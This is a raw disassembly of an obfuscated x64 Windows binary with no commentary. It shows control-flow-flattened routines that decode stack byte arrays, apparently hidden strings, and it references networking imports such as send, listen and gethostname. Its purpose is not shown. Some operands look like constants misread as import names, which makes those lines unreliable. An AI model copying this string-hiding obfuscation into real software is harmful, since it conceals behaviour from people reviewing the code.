and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xb08]
sub r10b, al
sub r10b, 0x38
add r10b, dl
add r10b, r11b
movabs rdx, 0xf127d0c3c320082d
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb08], cl
jmp 0x140075fa8
movabs rcx, 0xc79108641a511952
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xb08]
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x140075fe1
movabs rcx, 0xfd350a2c9a177a59
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x140076011
movabs rcx, 0x50629aebebb5580f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x69
jmp 0x140075fe1
movabs rcx, 0xa3902bab3d5335c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075332
movabs rcx, 0xf6bdbc6a8ef1137b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x140075fa8
movabs rcx, 0x9d18dde9322ccee7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
dec rbx
inc rbx
jmp 0x140075332
movabs rcx, 0x4373ff67d5688a53
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
jmp 0x140075f2d
movabs rcx, 0xe9cf20e678a445bf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
movabs rcx, 0x4455618314bde5e3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x35
add cl, r11b
mov byte [rbp + rbx + 0xb08], cl
inc r9
dec rbx
inc rbx
jmp 0x140075332
movabs rcx, 0x902a42651be0012b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
dec rbx
inc rbx
jmp 0x140075332
movabs rcx, 0x368563e3bf1bbc97
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075332
mov r11, rdx
movabs rcx, 0xdce0856262577803
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x15
movabs rcx, 0x9dfa400471822a77
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x41
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xb08], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x746377a4c8b33b9c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, cl
mov byte [rbp + rbx + 0xb08], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
movabs rcx, 0x833ba6e10593336f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 9
movzx eax, byte [rbp + rbx + 0xb08]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075332
movabs rcx, 0x64a9e64d4c7de839
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
jmp 0x140075330
movabs rcx, 0xb7d7770c9e1bc5ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
jmp 0x140075320
lea rcx, [rbp + 0x1778fe4]
jmp 0x1400760ef
lea rcx, [rbp + 0x128a109]
jmp 0x1400760ef
lea rcx, [rbp + 0xb08]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021add0]
lea rcx, [rbp + 0x4a0]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0xb30], reloc.WS2_32.dll_send
mov byte [rbp + 0xb31], Ordinal_41
mov byte [rbp + 0xb32], Ordinal_46
mov byte [rbp + 0xb33], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb34], Ordinal_41
mov byte [rbp + 0xb35], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb36], xmm0
mov qword [rbp + 0xb46], rax
mov dword [rbp + 0xb4e], eax
mov byte [rbp + 0xb52], al
movabs r14, 0x30b8d8d974e1592
movabs r15, 0x8e0f84600e1108ae
movabs r12, 0x2c3f2dc048cca51a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0x30e82b4fe2a231ca
cmp rdi, 0x23
jae 0x140076fa7
movzx ebx, byte [rbp + rdi + 0xb30]
mov r10, rbx
cmp r8, rdi
ja 0x140076f9e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400761fc
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x7a
jmp 0x140076230
je 0x140076f0b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140076ed0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076e82
lea rax, [r9 + 7]
cmp r8, rax
je 0x140076e54
nop dword [rax]
cmp r9, rdi
ja 0x140076f95
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14007625e
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400762a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140076e02
inc rax
cmp r8, rax
je 0x140076dd6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076da3
lea rax, [r9 + 7]
cmp r8, rax
je 0x140076d0f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140076cdb
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140076911
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400768e9
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400768b8
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400768a4
lea rax, [r9 + 5]
cmp r8, rax
je 0x140076890
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007687c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140076844
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007681c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400767f4
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400767bb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400762b0
lea r8, [r9 + 0x64]
lea r9, [r8 + 6]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140076f6d
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140076f45
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400764ac
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007648d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007646e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140076753
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400766fa
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400766a9
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140076676
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400762b0
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007663d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140076615
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400765ed
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400765b5
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007658d
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140076565
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140076537
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140076506
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400764de
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400762b0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x2a]
jmp 0x1400762b0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400762a0
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076230
movabs rdx, 0xca6ed72083884186
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x30e82b4fe2a231ca
jmp 0x1400761ce
movabs rdx, 0x185c6c6cba70ac90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076e20
movabs rdx, 0xb68c15ccf52c48fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
movabs rdx, 0x54bbbf2d2fe7e568
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400761b2
movabs rdx, 0xf2eb688d6aa381d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140076ea5
movabs rdx, 0x911b11eda55f1e40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140076ef3
movabs rdx, 0x2f4abb4de01abaac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
movabs rdx, 0xcd7a64ae1ad65718
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140076d2d
movabs rdx, 0x6baa0e0e5591f384
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140076d5b
movabs rdx, 0x9d9b76e904d8ff0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
movabs rdx, 0x1550dedf232296fe
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xb30], r11b
inc rdi
jmp 0x1400761b2
movabs rdx, 0xb380883f5dde336a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x40
jb 0x140076699
movabs rdx, 0x7c8141d44c9fd67c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140076e20
movabs rdx, 0x51b0319f9899cfd6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x80
jae 0x140076c85
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140076b42
movabs rdx, 0xaa5ddf9697f3f2b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
jmp 0x1400766c0
movabs rdx, 0xefdfdaffd3556c42
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x140076cb4
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140076a43
movabs rdx, 0xa752520900a5dd22
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007671d
movabs rdx, 0x124551518bd4816c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
movabs rdx, 0xb074fab1c6901dd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076d5b
movabs rdx, 0x4ea4a412014bba44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076d2d
movabs rdx, 0xecd44d723c0756b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
movabs rdx, 0x8b03f6d276c2f31c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140076edf
movabs rdx, 0x2933a032b17e8f88
mov ecx, 0x24
jmp 0x140076e91
movabs rdx, 0xc7634992ec3a2bf4
mov ecx, Ordinal_46
jmp 0x140076e63
movabs rdx, 0x6592f2f326f5c860
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
movabs rdx, 0x3c29c5361b164cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076e20
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140076936
movabs rdx, 0x30e82b4fe2a231ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
jmp 0x14007676a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076978
movabs rdx, 0x6171b1b2e9c2b24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
inc rax
cmp r8, rax
jne 0x1400769a7
movabs rdx, 0xc9b7c85ab924f24c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
add r11b, dl
jmp 0x140076d2d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400769e3
movabs rcx, 0x2b881efa7e6955e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140076a0f
movabs rcx, 0x8d58759a43adb974
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
jmp 0x140076ef3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140076776
movabs rdx, 0xef28cc3a08f21d08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x140076ea5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076a74
movabs rdx, 0x922a8a8c5ea40b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140076e20
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076aa9
movabs rcx, 0x6af2ff488b2ea44a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076ad5
movabs rcx, 0x2e93ac8815b76b72
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
jmp 0x140076ea5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140076b01
movabs rcx, 0x90640327dafbcf06
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x140076ef3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007671d
movabs rcx, 0x17a55da6f00d5d56
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5a
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076b84
movabs rdx, 0xc2e36365d385648
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076bb4
movabs rdx, 0x6dfe8cd6227cb9dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x140076d5b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140076bf0
movabs rcx, 0x319f3a15ad058104
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076c20
movabs rdx, 0xf53fe755378e482c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140076ea5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140076c55
movabs rcx, 0xb8e09494c2170f54
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400766cc
movabs rcx, 0x1ab0eb34875b72e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140076e20
movabs rdx, 0xde51987411e43a10
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xb30]
sub r11b, al
sub r11b, 0x70
add r11b, bl
add r11b, dl
jmp 0x140076ea5
movabs rcx, 0x4021ef13d7289da4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xb30]
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x140076d2d
movabs rcx, 0x735e992b86b595c6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
movabs rcx, 0xafbdebebfc2cce9e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
movabs rcx, 0x710a1a63b9cacf6e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 2
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb30], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xa1f245b39c6d0138
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb30], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
movabs rcx, 0x4ded954c36e86b0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
movabs rcx, 0xc6ac3acd21d6dcba
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
movabs rcx, 0x64dbe42d5c927926
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
movabs rdx, 0xad696d242f420846
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb30], cl
inc r9
dec rdi
inc rdi
jmp 0x1400761b2
movabs rdx, 0xdd9a89ae4780ead6
mov ecx, reloc.WS2_32.dll_send
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400761b2
movabs rdx, 0x7bca330e823c8742
mov ecx, Ordinal_27
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xf39c3c3f4866bda
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xb30], cl
jmp 0x140076ef3
movabs rdx, 0x19f9dc6ebcf823ae
mov ecx, Ordinal_33
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400761b2
movabs rdx, 0x92b881efa7e6955e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xb30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400761b2
movabs rdx, 0x689e8080be43ddf2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400761ae
movabs rdx, 0x6ce29e0f8ff7a5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140076191
lea rcx, [rbp + 0x1797ee8]
jmp 0x140076fae
lea rcx, [rbp + 0xdbb0b2]
jmp 0x140076fae
lea rcx, [rbp + 0xb30]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021acb0]
lea rcx, [rbp + 0x4c0]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0xb58], 0x7c
mov byte [rbp + 0xb59], 0x5b
mov byte [rbp + 0xb5a], 0x47
mov byte [rbp + 0xb5b], 0x47
mov byte [rbp + 0xb5c], 0x59
mov byte [rbp + 0xb5d], 0x46
mov byte [rbp + 0xb5e], 0x52
mov byte [rbp + 0xb5f], 0x5e
mov byte [rbp + 0xb60], 0x57
mov byte [rbp + 0xb61], 0x57
mov byte [rbp + 0xb62], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb63], xmm0
mov qword [rbp + 0xb73], rax
movabs r14, 0xd94c74f2133a0d9e
movabs r15, 0x615b985ab0065a22
movabs r12, 0x7d6cb1c9ba6258d6
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0xf1f773487ad200a6
cmp rdi, 0x23
jae 0x140077e7f
movzx ebx, byte [rbp + rdi + 0xb58]
mov r10, rbx
cmp r8, rdi
ja 0x140077e76
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400770cd
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x76
jmp 0x1400770f0
je 0x140077de3
inc rax
cmp r8, rax
je 0x140077d78
lea rax, [r9 + 2]
cmp r8, rax
je 0x140077d26
nop dword [rax]
cmp r9, rdi
ja 0x140077e6d
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140077119
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
jmp 0x140077160
lea rax, [r9 + 1]
cmp r8, rax
je 0x140077d06
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077cd8
lea rax, [r9 + 5]
cmp r8, rax
je 0x140077ca0
lea rax, [r9 + 7]
cmp r8, rax
je 0x140077c46
lea rax, [r9 + 8]
cmp r8, rax
je 0x140077c12
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400777e5
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400777c2
lea rax, [r9 + 5]
cmp r8, rax
je 0x140077796
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007776d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007774b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140077710
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400776d8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400776c4
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007769c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140077663
lea rax, [r9 + 8]
cmp r8, rax
je 0x140077170
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140077e45
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140077e1d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007736c
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007734d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007732e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140077602
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400775a7
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140077554
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140077526
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140077170
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400774ed
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400774ca
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400774a7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140077474
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007743e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007741b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400773f2
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400773c6
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007739e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140077170
lea r8, [r9 + 1]
lea r9, [r8 + 0x41]
jmp 0x140077170
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
